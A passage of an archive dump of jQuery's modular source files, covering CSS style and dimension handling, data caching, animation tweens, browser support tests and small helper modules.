) { return 0; } for ( ; i < 4; i += 2 ) { // Both box models exclude margin if ( box === "margin" ) { delta += jQuery.css( elem, box + cssExpand[ i ], true, styles ); } // If we get here with a content-box, we're seeking "padding" or "border" or "margin" if ( !isBorderBox ) { // Add padding delta += jQuery.css( elem, "padding" + cssExpand[ i ], true, styles ); // For "border" or "margin", add border if ( box !== "padding" ) { delta += jQuery.css( elem, "border" + cssExpand[ i ] + "Width", true, styles ); // But still keep track of it otherwise } else { extra += jQuery.css( elem, "border" + cssExpand[ i ] + "Width", true, styles ); } // If we get here with a border-box (content + padding + border), we're seeking "content" or // "padding" or "margin" } else { // For "content", subtract padding if ( box === "content" ) { delta -= jQuery.css( elem, "padding" + cssExpand[ i ], true, styles ); } // For "content" or "padding", subtract border if ( box !== "margin" ) { delta -= jQuery.css( elem, "border" + cssExpand[ i ] + "Width", true, styles ); } } } // Account for positive content-box scroll gutter when requested by providing computedVal if ( !isBorderBox && computedVal >= 0 ) { // offsetWidth/offsetHeight is a rounded sum of content, padding, scroll gutter, and border // Assuming integer scroll gutter, subtract the rest and round down delta += Math.max( 0, Math.ceil( elem[ "offset" + dimension[ 0 ].toUpperCase() + dimension.slice( 1 ) ] - computedVal - delta - extra - 0.5 ) ); } return delta; } function getWidthOrHeight( elem, dimension, extra ) { // Start with computed style var styles = getStyles( elem ), val = curCSS( elem, dimension, styles ), isBorderBox = jQuery.css( elem, "boxSizing", false, styles ) === "border-box", valueIsBorderBox = isBorderBox; // Support: Firefox <=54 // Return a confounding non-pixel value or feign ignorance, as appropriate. if ( rnumnonpx.test( val ) ) { if ( !extra ) { return val; } val = "auto"; } // Check for style in case a browser which returns unreliable values // for getComputedStyle silently falls back to the reliable elem.style valueIsBorderBox = valueIsBorderBox && ( support.boxSizingReliable() || val === elem.style[ dimension ] ); // Fall back to offsetWidth/offsetHeight when value is "auto" // This happens for inline elements with no explicit setting (gh-3571) // Support: Android <=4.1 - 4.3 only // Also use offsetWidth/offsetHeight for misreported inline dimensions (gh-3602) if ( val === "auto" || !parseFloat( val ) && jQuery.css( elem, "display", false, styles ) === "inline" ) { val = elem[ "offset" + dimension[ 0 ].toUpperCase() + dimension.slice( 1 ) ]; // offsetWidth/offsetHeight provide border-box values valueIsBorderBox = true; } // Normalize "" and auto val = parseFloat( val ) || 0; // Adjust for the element's box model return ( val + boxModelAdjustment( elem, dimension, extra || ( isBorderBox ? "border" : "content" ), valueIsBorderBox, styles, // Provide the current computed size to request scroll gutter calculation (gh-3589) val ) ) + "px"; } jQuery.extend( { // Add in style property hooks for overriding the default // behavior of getting and setting a style property cssHooks: { opacity: { get: function( elem, computed ) { if ( computed ) { // We should always get a number back from opacity var ret = curCSS( elem, "opacity" ); return ret === "" ? "1" : ret; } } } }, // Don't automatically add "px" to these possibly-unitless properties cssNumber: { "animationIterationCount": true, "columnCount": true, "fillOpacity": true, "flexGrow": true, "flexShrink": true, "fontWeight": true, "lineHeight": true, "opacity": true, "order": true, "orphans": true, "widows": true, "zIndex": true, "zoom": true }, // Add in properties whose names you wish to fix before // setting or getting the value cssProps: {}, // Get and set the style property on a DOM Node style: function( elem, name, value, extra ) { // Don't set styles on text and comment nodes if ( !elem || elem.nodeType === 3 || elem.nodeType === 8 || !elem.style ) { return; } // Make sure that we're working with the right name var ret, type, hooks, origName = camelCase( name ), isCustomProp = rcustomProp.test( name ), style = elem.style; // Make sure that we're working with the right name. We don't // want to query the value if it is a CSS custom property // since they are user-defined. if ( !isCustomProp ) { name = finalPropName( origName ); } // Gets hook for the prefixed version, then unprefixed version hooks = jQuery.cssHooks[ name ] || jQuery.cssHooks[ origName ]; // Check if we're setting a value if ( value !== undefined ) { type = typeof value; // Convert "+=" or "-=" to relative numbers (#7345) if ( type === "string" && ( ret = rcssNum.exec( value ) ) && ret[ 1 ] ) { value = adjustCSS( elem, name, ret ); // Fixes bug #9237 type = "number"; } // Make sure that null and NaN values aren't set (#7116) if ( value == null || value !== value ) { return; } // If a number was passed in, add the unit (except for certain CSS properties) if ( type === "number" ) { value += ret && ret[ 3 ] || ( jQuery.cssNumber[ origName ] ? "" : "px" ); } // background-* props affect original clone's values if ( !support.clearCloneStyle && value === "" && name.indexOf( "background" ) === 0 ) { style[ name ] = "inherit"; } // If a hook was provided, use that value, otherwise just set the specified value if ( !hooks || !( "set" in hooks ) || ( value = hooks.set( elem, value, extra ) ) !== undefined ) { if ( isCustomProp ) { style.setProperty( name, value ); } else { style[ name ] = value; } } } else { // If a hook was provided get the non-computed value from there if ( hooks && "get" in hooks && ( ret = hooks.get( elem, false, extra ) ) !== undefined ) { return ret; } // Otherwise just get the value from the style object return style[ name ]; } }, css: function( elem, name, extra, styles ) { var val, num, hooks, origName = camelCase( name ), isCustomProp = rcustomProp.test( name ); // Make sure that we're working with the right name. We don't // want to modify the value if it is a CSS custom property // since they are user-defined. if ( !isCustomProp ) { name = finalPropName( origName ); } // Try prefixed name followed by the unprefixed name hooks = jQuery.cssHooks[ name ] || jQuery.cssHooks[ origName ]; // If a hook was provided get the computed value from there if ( hooks && "get" in hooks ) { val = hooks.get( elem, true, extra ); } // Otherwise, if a way to get the computed value exists, use that if ( val === undefined ) { val = curCSS( elem, name, styles ); } // Convert "normal" to computed value if ( val === "normal" && name in cssNormalTransform ) { val = cssNormalTransform[ name ]; } // Make numeric if forced or a qualifier was provided and val looks numeric if ( extra === "" || extra ) { num = parseFloat( val ); return extra === true || isFinite( num ) ? num || 0 : val; } return val; } } ); jQuery.each( [ "height", "width" ], function( i, dimension ) { jQuery.cssHooks[ dimension ] = { get: function( elem, computed, extra ) { if ( computed ) { // Certain elements can have dimension info if we invisibly show them // but it must have a current display style that would benefit return rdisplayswap.test( jQuery.css( elem, "display" ) ) && // Support: Safari 8+ // Table columns in Safari have non-zero offsetWidth & zero // getBoundingClientRect().width unless display is changed. // Support: IE <=11 only // Running getBoundingClientRect on a disconnected node // in IE throws an error. ( !elem.getClientRects().length || !elem.getBoundingClientRect().width ) ? swap( elem, cssShow, function() { return getWidthOrHeight( elem, dimension, extra ); } ) : getWidthOrHeight( elem, dimension, extra ); } }, set: function( elem, value, extra ) { var matches, styles = getStyles( elem ), isBorderBox = jQuery.css( elem, "boxSizing", false, styles ) === "border-box", subtract = extra && boxModelAdjustment( elem, dimension, extra, isBorderBox, styles ); // Account for unreliable border-box dimensions by comparing offset* to computed and // faking a content-box to get border and padding (gh-3699) if ( isBorderBox && support.scrollboxSize() === styles.position ) { subtract -= Math.ceil( elem[ "offset" + dimension[ 0 ].toUpperCase() + dimension.slice( 1 ) ] - parseFloat( styles[ dimension ] ) - boxModelAdjustment( elem, dimension, "border", false, styles ) - 0.5 ); } // Convert to pixels if value adjustment is needed if ( subtract && ( matches = rcssNum.exec( value ) ) && ( matches[ 3 ] || "px" ) !== "px" ) { elem.style[ dimension ] = value; value = jQuery.css( elem, dimension ); } return setPositiveNumber( elem, value, subtract ); } }; } ); jQuery.cssHooks.marginLeft = addGetHookIf( support.reliableMarginLeft, function( elem, computed ) { if ( computed ) { return ( parseFloat( curCSS( elem, "marginLeft" ) ) || elem.getBoundingClientRect().left - swap( elem, { marginLeft: 0 }, function() { return elem.getBoundingClientRect().left; } ) ) + "px"; } } ); // These hooks are used by animate to expand properties jQuery.each( { margin: "", padding: "", border: "Width" }, function( prefix, suffix ) { jQuery.cssHooks[ prefix + suffix ] = { expand: function( value ) { var i = 0, expanded = {}, // Assumes a single number if not a string parts = typeof value === "string" ? value.split( " " ) : [ value ]; for ( ; i < 4; i++ ) { expanded[ prefix + cssExpand[ i ] + suffix ] = parts[ i ] || parts[ i - 2 ] || parts[ 0 ]; } return expanded; } }; if ( prefix !== "margin" ) { jQuery.cssHooks[ prefix + suffix ].set = setPositiveNumber; } } ); jQuery.fn.extend( { css: function( name, value ) { return access( this, function( elem, name, value ) { var styles, len, map = {}, i = 0; if ( Array.isArray( name ) ) { styles = getStyles( elem ); len = name.length; for ( ; i < len; i++ ) { map[ name[ i ] ] = jQuery.css( elem, name[ i ], false, styles ); } return map; } return value !== undefined ? jQuery.style( elem, name, value ) : jQuery.css( elem, name ); }, name, value, arguments.length > 1 ); } } ); return jQuery; } ); deferred/exceptionHook.js000064400000001225151677373670011527 0ustar00define( [ "../core", "../deferred" ], function( jQuery ) { "use strict"; // These usually indicate a programmer mistake during development, // warn about them ASAP rather than swallowing them by default. var rerrorNames = /^(Eval|Internal|Range|Reference|Syntax|Type|URI)Error$/; jQuery.Deferred.exceptionHook = function( error, stack ) { // Support: IE 8 - 9 only // Console exists when dev tools are open, which can happen at any time if ( window.console && window.console.warn && error && rerrorNames.test( error.name ) ) { window.console.warn( "jQuery.Deferred exception: " + error.message, error.stack, stack ); } }; } ); var/class2type.js000064400000000130151677373670010003 0ustar00define( function() { "use strict"; // [[Class]] -> type pairs return {}; } ); var/isWindow.js000064400000000206151677373670007521 0ustar00define( function() { "use strict"; return function isWindow( obj ) { return obj != null && obj === obj.window; }; } ); var/isFunction.js000064400000000671151677373670010045 0ustar00define( function() { "use strict"; return function isFunction( obj ) { // Support: Chrome <=57, Firefox <=52 // In some browsers, typeof returns "function" for HTML <object> elements // (i.e., `typeof document.createElement( "object" ) === "function"`). // We don't want to classify *any* DOM node as a function. return typeof obj === "function" && typeof obj.nodeType !== "number"; }; } ); var/support.js000064400000000173151677373670007435 0ustar00define( function() { "use strict"; // All support tests are defined in their respective modules. return {}; } ); var/push.js000064400000000126151677373670006676 0ustar00define( [ "./arr" ], function( arr ) { "use strict"; return arr.push; } ); var/concat.js000064400000000130151677373670007161 0ustar00define( [ "./arr" ], function( arr ) { "use strict"; return arr.concat; } ); var/pnum.js000064400000000151151677373670006674 0ustar00define( function() { "use strict"; return ( /[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/ ).source; } ); var/slice.js000064400000000127151677373670007017 0ustar00define( [ "./arr" ], function( arr ) { "use strict"; return arr.slice; } ); var/toString.js000064400000000157151677373670007534 0ustar00define( [ "./class2type" ], function( class2type ) { "use strict"; return class2type.toString; } ); var/rcssNum.js000064400000000221151677373670007345 0ustar00define( [ "../var/pnum" ], function( pnum ) { "use strict"; return new RegExp( "^(?:([+-])=|)(" + pnum + ")([a-z%]*)$", "i" ); } ); var/rnothtmlwhite.js000064400000000322151677373670010625 0ustar00define( function() { "use strict"; // Only count HTML whitespace // Other whitespace should count in values // https://infra.spec.whatwg.org/#ascii-whitespace return ( /[^\x20\t\r\n\f]+/g ); } ); var/ObjectFunctionString.js000064400000000165151677373670012025 0ustar00define( [ "./fnToString" ], function( fnToString ) { "use strict"; return fnToString.call( Object ); } ); var/getProto.js000064400000000116151677373670007521 0ustar00define( function() { "use strict"; return Object.getPrototypeOf; } ); var/documentElement.js000064400000000160151677373670011045 0ustar00define( [ "./document" ], function( document ) { "use strict"; return document.documentElement; } ); var/indexOf.js000064400000000131151677373670007307 0ustar00define( [ "./arr" ], function( arr ) { "use strict"; return arr.indexOf; } ); var/arr.js000064400000000073151677373670006504 0ustar00define( function() { "use strict"; return []; } ); var/hasOwn.js000064400000000165151677373670007161 0ustar00define( [ "./class2type" ], function( class2type ) { "use strict"; return class2type.hasOwnProperty; } ); var/document.js000064400000000110151677373670007526 0ustar00define( function() { "use strict"; return window.document; } ); var/fnToString.js000064400000000143151677373670010013 0ustar00define( [ "./hasOwn" ], function( hasOwn ) { "use strict"; return hasOwn.toString; } ); dimensions.js000064400000003420151677373670007277 0ustar00define( [ "./core", "./core/access", "./var/isWindow", "./css" ], function( jQuery, access, isWindow ) { "use strict"; // Create innerHeight, innerWidth, height, width, outerHeight and outerWidth methods jQuery.each( { Height: "height", Width: "width" }, function( name, type ) { jQuery.each( { padding: "inner" + name, content: type, "": "outer" + name }, function( defaultExtra, funcName ) { // Margin is only for outerHeight, outerWidth jQuery.fn[ funcName ] = function( margin, value ) { var chainable = arguments.length && ( defaultExtra || typeof margin !== "boolean" ), extra = defaultExtra || ( margin === true || value === true ? "margin" : "border" ); return access( this, function( elem, type, value ) { var doc; if ( isWindow( elem ) ) { // $( window ).outerWidth/Height return w/h including scrollbars (gh-1729) return funcName.indexOf( "outer" ) === 0 ? elem[ "inner" + name ] : elem.document.documentElement[ "client" + name ]; } // Get document width or height if ( elem.nodeType === 9 ) { doc = elem.documentElement; // Either scroll[Width/Height] or offset[Width/Height] or client[Width/Height], // whichever is greatest return Math.max( elem.body[ "scroll" + name ], doc[ "scroll" + name ], elem.body[ "offset" + name ], doc[ "offset" + name ], doc[ "client" + name ] ); } return value === undefined ? // Get width or height on the element, requesting but not forcing parseFloat jQuery.css( elem, type, extra ) : // Set width or height on the element jQuery.style( elem, type, value, extra ); }, type, chainable ? margin : undefined, chainable ); }; } ); } ); return jQuery; } ); data/Data.js000064400000010022151677373670006705 0ustar00define( [ "../core", "../core/camelCase", "../var/rnothtmlwhite", "./var/acceptData" ], function( jQuery, camelCase, rnothtmlwhite, acceptData ) { "use strict"; function Data() { this.expando = jQuery.expando + Data.uid++; } Data.uid = 1; Data.prototype = { cache: function( owner ) { // Check if the owner object already has a cache var value = owner[ this.expando ]; // If not, create one if ( !value ) { value = {}; // We can accept data for non-element nodes in modern browsers, // but we should not, see #8335. // Always return an empty object. if ( acceptData( owner ) ) { // If it is a node unlikely to be stringify-ed or looped over // use plain assignment if ( owner.nodeType ) { owner[ this.expando ] = value; // Otherwise secure it in a non-enumerable property // configurable must be true to allow the property to be // deleted when data is removed } else { Object.defineProperty( owner, this.expando, { value: value, configurable: true } ); } } } return value; }, set: function( owner, data, value ) { var prop, cache = this.cache( owner ); // Handle: [ owner, key, value ] args // Always use camelCase key (gh-2257) if ( typeof data === "string" ) { cache[ camelCase( data ) ] = value; // Handle: [ owner, { properties } ] args } else { // Copy the properties one-by-one to the cache object for ( prop in data ) { cache[ camelCase( prop ) ] = data[ prop ]; } } return cache; }, get: function( owner, key ) { return key === undefined ? this.cache( owner ) : // Always use camelCase key (gh-2257) owner[ this.expando ] && owner[ this.expando ][ camelCase( key ) ]; }, access: function( owner, key, value ) { // In cases where either: // // 1. No key was specified // 2. A string key was specified, but no value provided // // Take the "read" path and allow the get method to determine // which value to return, respectively either: // // 1. The entire cache object // 2. The data stored at the key // if ( key === undefined || ( ( key && typeof key === "string" ) && value === undefined ) ) { return this.get( owner, key ); } // When the key is not a string, or both a key and value // are specified, set or extend (existing objects) with either: // // 1. An object of properties // 2. A key and value // this.set( owner, key, value ); // Since the "set" path can have two possible entry points // return the expected data based on which path was taken[*] return value !== undefined ? value : key; }, remove: function( owner, key ) { var i, cache = owner[ this.expando ]; if ( cache === undefined ) { return; } if ( key !== undefined ) { // Support array or space separated string of keys if ( Array.isArray( key ) ) { // If key is an array of keys... // We always set camelCase keys, so remove that. key = key.map( camelCase ); } else { key = camelCase( key ); // If a key with the spaces exists, use it. // Otherwise, create an array by matching non-whitespace key = key in cache ? [ key ] : ( key.match( rnothtmlwhite ) || [] ); } i = key.length; while ( i-- ) { delete cache[ key[ i ] ]; } } // Remove the expando if there's no more data if ( key === undefined || jQuery.isEmptyObject( cache ) ) { // Support: Chrome <=35 - 45 // Webkit & Blink performance suffers when deleting properties // from DOM nodes, so set to undefined instead // https://bugs.chromium.org/p/chromium/issues/detail?id=378607 (bug restricted) if ( owner.nodeType ) { owner[ this.expando ] = undefined; } else { delete owner[ this.expando ]; } } }, hasData: function( owner ) { var cache = owner[ this.expando ]; return cache !== undefined && !jQuery.isEmptyObject( cache ); } }; return Data; } ); data/var/dataUser.js000064400000000133151677373670010376 0ustar00define( [ "../Data" ], function( Data ) { "use strict"; return new Data(); } ); data/var/acceptData.js000064400000000521151677373670010660 0ustar00define( function() { "use strict"; /** * Determines whether an object can have data */ return function( owner ) { // Accepts only: // - Node // - Node.ELEMENT_NODE // - Node.DOCUMENT_NODE // - Object // - Any return owner.nodeType === 1 || owner.nodeType === 9 || !( +owner.nodeType ); }; } ); data/var/dataPriv.js000064400000000133151677373670010400 0ustar00define( [ "../Data" ], function( Data ) { "use strict"; return new Data(); } ); effects/animatedSelector.js000064400000000403151677373670012027 0ustar00define( [ "../core", "../selector", "../effects" ], function( jQuery ) { "use strict"; jQuery.expr.pseudos.animated = function( elem ) { return jQuery.grep( jQuery.timers, function( fn ) { return elem === fn.elem; } ).length; }; } ); effects/Tween.js000064400000006457151677373670007645 0ustar00define( [ "../core", "../css" ], function( jQuery ) { "use strict"; function Tween( elem, options, prop, end, easing ) { return new Tween.prototype.init( elem, options, prop, end, easing ); } jQuery.Tween = Tween; Tween.prototype = { constructor: Tween, init: function( elem, options, prop, end, easing, unit ) { this.elem = elem; this.prop = prop; this.easing = easing || jQuery.easing._default; this.options = options; this.start = this.now = this.cur(); this.end = end; this.unit = unit || ( jQuery.cssNumber[ prop ] ? "" : "px" ); }, cur: function() { var hooks = Tween.propHooks[ this.prop ]; return hooks && hooks.get ? hooks.get( this ) : Tween.propHooks._default.get( this ); }, run: function( percent ) { var eased, hooks = Tween.propHooks[ this.prop ]; if ( this.options.duration ) { this.pos = eased = jQuery.easing[ this.easing ]( percent, this.options.duration * percent, 0, 1, this.options.duration ); } else { this.pos = eased = percent; } this.now = ( this.end - this.start ) * eased + this.start; if ( this.options.step ) { this.options.step.call( this.elem, this.now, this ); } if ( hooks && hooks.set ) { hooks.set( this ); } else { Tween.propHooks._default.set( this ); } return this; } }; Tween.prototype.init.prototype = Tween.prototype; Tween.propHooks = { _default: { get: function( tween ) { var result; // Use a property on the element directly when it is not a DOM element, // or when there is no matching style property that exists. if ( tween.elem.nodeType !== 1 || tween.elem[ tween.prop ] != null && tween.elem.style[ tween.prop ] == null ) { return tween.elem[ tween.prop ]; } // Passing an empty string as a 3rd parameter to .css will automatically // attempt a parseFloat and fallback to a string if the parse fails. // Simple values such as "10px" are parsed to Float; // complex values such as "rotate(1rad)" are returned as-is. result = jQuery.css( tween.elem, tween.prop, "" ); // Empty strings, null, undefined and "auto" are converted to 0. return !result || result === "auto" ? 0 : result; }, set: function( tween ) { // Use step hook for back compat. // Use cssHook if its there. // Use .style if available and use plain properties where available. if ( jQuery.fx.step[ tween.prop ] ) { jQuery.fx.step[ tween.prop ]( tween ); } else if ( tween.elem.nodeType === 1 && ( tween.elem.style[ jQuery.cssProps[ tween.prop ] ] != null || jQuery.cssHooks[ tween.prop ] ) ) { jQuery.style( tween.elem, tween.prop, tween.now + tween.unit ); } else { tween.elem[ tween.prop ] = tween.now; } } } }; // Support: IE <=9 only // Panic based approach to setting things on disconnected nodes Tween.propHooks.scrollTop = Tween.propHooks.scrollLeft = { set: function( tween ) { if ( tween.elem.nodeType && tween.elem.parentNode ) { tween.elem[ tween.prop ] = tween.now; } } }; jQuery.easing = { linear: function( p ) { return p; }, swing: function( p ) { return 0.5 - Math.cos( p * Math.PI ) / 2; }, _default: "swing" }; jQuery.fx = Tween.prototype.init; // Back compat <1.8 extension point jQuery.fx.step = {}; } ); queue/delay.js000064400000001224151677373670007351 0ustar00define( [ "../core", "../queue", "../effects" // Delay is optional because of this dependency ], function( jQuery ) { "use strict"; // Based off of the plugin by Clint Helfers, with permission. // https://web.archive.org/web/20100324014747/http://blindsignals.com/index.php/2009/07/jquery-delay/ jQuery.fn.delay = function( time, type ) { time = jQuery.fx ? jQuery.fx.speeds[ time ] || time : time; type = type || "fx"; return this.queue( type, function( next, hooks ) { var timeout = window.setTimeout( next, time ); hooks.stop = function() { window.clearTimeout( timeout ); }; } ); }; return jQuery.fn.delay; } ); css/hiddenVisibleSelectors.js000064400000000514151677373670012355 0ustar00define( [ "../core", "../selector" ], function( jQuery ) { "use strict"; jQuery.expr.pseudos.hidden = function( elem ) { return !jQuery.expr.pseudos.visible( elem ); }; jQuery.expr.pseudos.visible = function( elem ) { return !!( elem.offsetWidth || elem.offsetHeight || elem.getClientRects().length ); }; } ); css/support.js000064400000005777151677373670007454 0ustar00define( [ "../core", "../var/document", "../var/documentElement", "../var/support" ], function( jQuery, document, documentElement, support ) { "use strict"; ( function() { // Executing both pixelPosition & boxSizingReliable tests require only one layout // so they're executed at the same time to save the second computation. function computeStyleTests() { // This is a singleton, we need to execute it only once if ( !div ) { return; } container.style.cssText = "position:absolute;left:-11111px;width:60px;" + "margin-top:1px;padding:0;border:0"; div.style.cssText = "position:relative;display:block;box-sizing:border-box;overflow:scroll;" + "margin:auto;border:1px;padding:1px;" + "width:60%;top:1%"; documentElement.appendChild( container ).appendChild( div ); var divStyle = window.getComputedStyle( div ); pixelPositionVal = divStyle.top !== "1%"; // Support: Android 4.0 - 4.3 only, Firefox <=3 - 44 reliableMarginLeftVal = roundPixelMeasures( divStyle.marginLeft ) === 12; // Support: Android 4.0 - 4.3 only, Safari <=9.1 - 10.1, iOS <=7.0 - 9.3 // Some styles come back with percentage values, even though they shouldn't div.style.right = "60%"; pixelBoxStylesVal = roundPixelMeasures( divStyle.right ) === 36; // Support: IE 9 - 11 only // Detect misreporting of content dimensions for box-sizing:border-box elements boxSizingReliableVal = roundPixelMeasures( divStyle.width ) === 36; // Support: IE 9 only // Detect overflow:scroll screwiness (gh-3699) div.style.position = "absolute"; scrollboxSizeVal = div.offsetWidth === 36 || "absolute"; documentElement.removeChild( container ); // Nullify the div so it wouldn't be stored in the memory and // it will also be a sign that checks already performed div = null; } function roundPixelMeasures( measure ) { return Math.round( parseFloat( measure ) ); } var pixelPositionVal, boxSizingReliableVal, scrollboxSizeVal, pixelBoxStylesVal, reliableMarginLeftVal, container = document.createElement( "div" ), div = document.createElement( "div" ); // Finish early in limited (non-browser) environments if ( !div.style ) { return; } // Support: IE <=9 - 11 only // Style of cloned element affects source element cloned (#8908) div.style.backgroundClip = "content-box"; div.cloneNode( true ).style.backgroundClip = ""; support.clearCloneStyle = div.style.backgroundClip === "content-box"; jQuery.extend( support, { boxSizingReliable: function() { computeStyleTests(); return boxSizingReliableVal; }, pixelBoxStyles: function() { computeStyleTests(); return pixelBoxStylesVal; }, pixelPosition: function() { computeStyleTests(); return pixelPositionVal; }, reliableMarginLeft: function() { computeStyleTests(); return reliableMarginLeftVal; }, scrollboxSize: function() { computeStyleTests(); return scrollboxSizeVal; } } ); } )(); return support; } ); css/curCSS.js000064400000003326151677373670007066 0ustar00define( [ "../core", "./var/rboxStyle", "./var/rnumnonpx", "./var/getStyles", "./support", "../selector" // Get jQuery.contains ], function( jQuery, rboxStyle, rnumnonpx, getStyles, support ) { "use strict"; function curCSS( elem, name, computed ) { var width, minWidth, maxWidth, ret, // Support: Firefox 51+ // Retrieving style before computed somehow // fixes an issue with getting wrong values // on detached elements style = elem.style; computed = computed || getStyles( elem ); // getPropertyValue is needed for: // .css('filter') (IE 9 only, #12537) // .css('--customProperty) (#3144) if ( computed ) { ret = computed.getPropertyValue( name ) || computed[ name ]; if ( ret === "" && !jQuery.contains( elem.ownerDocument, elem ) ) { ret = jQuery.style( elem, name ); } // A tribute to the "awesome hack by Dean Edwards" // Android Browser returns percentage for some values, // but width seems to be reliably pixels. // This is against the CSSOM draft spec: // https://drafts.csswg.org/cssom/#resolved-values if ( !support.pixelBoxStyles() && rnumnonpx.test( ret ) && rboxStyle.test( name ) ) { // Remember the original values width = style.width; minWidth = style.minWidth; maxWidth = style.maxWidth; // Put in the new values to get a computed value out style.minWidth = style.maxWidth = style.width = ret; ret = computed.width; // Revert the changed values style.width = width; style.minWidth = minWidth; style.maxWidth = maxWidth; } } return ret !== undefined ? // Support: IE <=9 - 11 only // IE returns zIndex value as an integer. ret + "" : ret; } return curCSS; } ); css/showHide.js000064400000004551151677373670007477 0ustar00define( [ "../core", "../data/var/dataPriv", "../css/var/isHiddenWithinTree" ], function( jQuery, dataPriv, isHiddenWithinTree ) { "use strict"; var defaultDisplayMap = {}; function getDefaultDisplay( elem ) { var temp, doc = elem.ownerDocument, nodeName = elem.nodeName, display = defaultDisplayMap[ nodeName ]; if ( display ) { return display; } temp = doc.body.appendChild( doc.createElement( nodeName ) ); display = jQuery.css( temp, "display" ); temp.parentNode.removeChild( temp ); if ( display === "none" ) { display = "block"; } defaultDisplayMap[ nodeName ] = display; return display; } function showHide( elements, show ) { var display, elem, values = [], index = 0, length = elements.length; // Determine new display value for elements that need to change for ( ; index < length; index++ ) { elem = elements[ index ]; if ( !elem.style ) { continue; } display = elem.style.display; if ( show ) { // Since we force visibility upon cascade-hidden elements, an immediate (and slow) // check is required in this first loop unless we have a nonempty display value (either // inline or about-to-be-restored) if ( display === "none" ) { values[ index ] = dataPriv.get( elem, "display" ) || null; if ( !values[ index ] ) { elem.style.display = ""; } } if ( elem.style.display === "" && isHiddenWithinTree( elem ) ) { values[ index ] = getDefaultDisplay( elem ); } } else { if ( display !== "none" ) { values[ index ] = "none"; // Remember what we're overwriting dataPriv.set( elem, "display", display ); } } } // Set the display of the elements in a second loop to avoid constant reflow for ( index = 0; index < length; index++ ) { if ( values[ index ] != null ) { elements[ index ].style.display = values[ index ]; } } return elements; } jQuery.fn.extend( { show: function() { return showHide( this, true ); }, hide: function() { return showHide( this ); }, toggle: function( state ) { if ( typeof state === "boolean" ) { return state ? this.show() : this.hide(); } return this.each( function() { if ( isHiddenWithinTree( this ) ) { jQuery( this ).show(); } else { jQuery( this ).hide(); } } ); } } ); return showHide; } ); css/var/cssExpand.js000064400000000135151677373670010437 0ustar00define( function() { "use strict"; return [ "Top", "Right", "Bottom", "Left" ]; } ); css/var/rnumnonpx.js000064400000000212151677373670010547 0ustar00define( [ "../../var/pnum" ], function( pnum ) { "use strict"; return new RegExp( "^(" + pnum + ")(?!px)[a-z%]+$", "i" ); } ); css/var/isHiddenWithinTree.js000064400000002454151677373670012247 0ustar00define( [ "../../core", "../../selector" // css is assumed ], function( jQuery ) { "use strict"; // isHiddenWithinTree reports if an element has a non-"none" display style (inline and/or // through the CSS cascade), which is useful in deciding whether or not to make it visible. // It differs from the :hidden selector (jQuery.expr.pseudos.hidden) in two important ways: // * A hidden ancestor does not force an element to be classified as hidden. // * Being disconnected from the document does not force an element to be classified as hidden. // These differences improve the behavior of .toggle() et al. when applied to elements that are // detached or contained within hidden ancestors (gh-2404, gh-2863). return function( elem, el ) { // isHiddenWithinTree might be called from jQuery#filter function; // in that case, element will be second argument elem = el || elem; // Inline style trumps all return elem.style.display === "none" || elem.style.display === "" && // Otherwise, check computed style // Support: Firefox <=43 - 45 // Disconnected elements can have computed display: none, so first confirm that elem is // in the document. jQuery.contains( elem.ownerDocument, elem ) && jQuery.css( elem, "display" ) === "none"; }; } ); css/var/getStyles.js000064400000000642151677373670010475 0ustar00define( function() { "use strict"; return function( elem ) { // Support: IE <=11 only, Firefox <=30 (#15098, #14150) // IE throws on elements created in popups // FF meanwhile throws on frame elements through "defaultView.getComputedStyle" var view = elem.ownerDocument.defaultView; if ( !view || !view.opener ) { view = window; } return view.getComputedStyle( elem ); }; } ); css/var/swap.js000064400000001042151677373670007457 0ustar00define( function() { "use strict"; // A method for quickly swapping in/out CSS properties to get correct calculations. return function( elem, options, callback, args ) { var ret, name, old = {}; // Remember the old values, and insert the new ones for ( name in options ) { old[ name ] = elem.style[ name ]; elem.style[ name ] = options[ name ]; } ret = callback.apply( elem, args || [] ); // Revert the old values for ( name in options ) { elem.style[ name ] = old[ name ]; } return ret; }; } ); css/var/rboxStyle.js000064400000000202151677373670010475 0ustar00define( [ "./cssExpand" ], function( cssExpand ) { "use strict"; return new RegExp( cssExpand.join( "|" ), "i" ); } ); css/adjustCSS.js000064400000004007151677373670007564 0ustar00define( [ "../core", "../var/rcssNum" ], function( jQuery, rcssNum ) { "use strict"; function adjustCSS( elem, prop, valueParts, tween ) { var adjusted, scale, maxIterations = 20, currentValue = tween ? function() { return tween.cur(); } : function() { return jQuery.css( elem, prop, "" ); }, initial = currentValue(), unit = valueParts && valueParts[ 3 ] || ( jQuery.cssNumber[ prop ] ? "" : "px" ), // Starting value computation is required for potential unit mismatches initialInUnit = ( jQuery.cssNumber[ prop ] || unit !== "px" && +initial ) && rcssNum.exec( jQuery.css( elem, prop ) ); if ( initialInUnit && initialInUnit[ 3 ] !== unit ) { // Support: Firefox <=54 // Halve the iteration target value to prevent interference from CSS upper bounds (gh-2144) initial = initial / 2; // Trust units reported by jQuery.css unit = unit || initialInUnit[ 3 ]; // Iteratively approximate from a nonzero starting point initialInUnit = +initial || 1; while ( maxIterations-- ) { // Evaluate and update our best guess (doubling guesses that zero out). // Finish if the scale equals or crosses 1 (making the old*new product non-positive). jQuery.style( elem, prop, initialInUnit + unit ); if ( ( 1 - scale ) * ( 1 - ( scale = currentValue() / initial || 0.5 ) ) <= 0 ) { maxIterations = 0; } initialInUnit = initialInUnit / scale; } initialInUnit = initialInUnit * 2; jQuery.style( elem, prop, initialInUnit + unit ); // Make sure we update the tween properties later on valueParts = valueParts || []; } if ( valueParts ) { initialInUnit = +initialInUnit || +initial || 0; // Apply relative offset (+=/-=) if specified adjusted = valueParts[ 1 ] ? initialInUnit + ( valueParts[ 1 ] + 1 ) * valueParts[ 2 ] : +valueParts[ 2 ]; if ( tween ) { tween.unit = unit; tween.start = initialInUnit; tween.end = adjusted; } } return adjusted; } return adjustCSS; } ); css/addGetHookIf.js000064400000001054151677373670010210 0ustar00define( function() { "use strict"; function addGetHookIf( conditionFn, hookFn ) { // Define the hook, we'll check on the first run if it's really needed. return { get: function() { if ( conditionFn() ) { // Hook not needed (or it's not possible to use it due // to missing dependency), remove it. delete this.get; return; } // Hook needed; redefine it so that the support test is not executed again. return ( this.get = hookFn ).apply( this, arguments ); } }; } return addGetHookIf; } ); ajax/script.js000064400000003174151677373670007364 0ustar00define( [ "../core", "../var/document", "../ajax" ], function( jQuery, document ) { "use strict"; // Prevent auto-execution of scripts when no explicit dataType was provided (See gh-2432) jQuery.ajaxPrefilter( function( s 